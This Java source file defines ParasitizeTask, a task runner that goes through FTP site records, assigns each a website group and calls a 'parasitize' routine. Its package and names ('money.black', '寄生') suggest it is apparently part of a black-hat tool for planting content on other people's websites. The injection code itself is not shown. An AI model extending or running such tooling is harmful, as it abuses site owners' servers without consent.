package jude.java.money.black;

import java.util.List;

import jude.java.money.beans.FtpSite;
import jude.java.money.provide.Provider;
import jude.java.money.service.HeiService;
import jude.java.money.spring.Services;
import jude.java.money.task.BaseTask;
import jude.java.money.task.TaskContext;
import jude.java.util.I;

/**
 * 寄生
 * */
public class ParasitizeTask extends BaseTask<FtpSite> {
	
	private HeiService heiService;
	private List<String> groups;
	private int groupIndex;
	private ParasitizeSite site;

	public ParasitizeTask(Provider<FtpSite> provider) {
		super(provider);
		heiService = Services.getHeiService();
		groups = heiService.getWebSiteGroups();
		groupIndex = groups == null || groups.isEmpty() ? -2 : -1;
	}
	
	@Override
	protected boolean beforeExecute(FtpSite o) {
		TaskContext.signal(10002);
		I.total();
		return super.beforeExecute(o);
	}

	@Override
	protected void execute(FtpSite ftpSite) {
		TaskContext.signal(10000);
		String group = getGroup();
		this.site = new ParasitizeSite(ftpSite, group);
//		this.site.setDetails(getDetails());
		this.site.parasitize();
		this.site = null;
		TaskContext.signal(10001);
	}
	
	@Override
	protected boolean afterExecute(FtpSite o) {
		TaskContext.signal(10003);
		I.get("finished").increase();
		return super.afterExecute(o);
	}
	
	private String getGroup() {
		if (groupIndex == -1)
			groupIndex = (int)(Math.random() * 1000);
		else if (groupIndex == -2)
			return null;
//		if (groupIndex >= 0)
		return groups.get((++ groupIndex) % groups.size());
	}

	@Override
	public void abandon() {
		if (site != null)
			site.abandon();
	}
	
	@Override
	public void stop() {
		super.stop();
		abandon();
	}
}
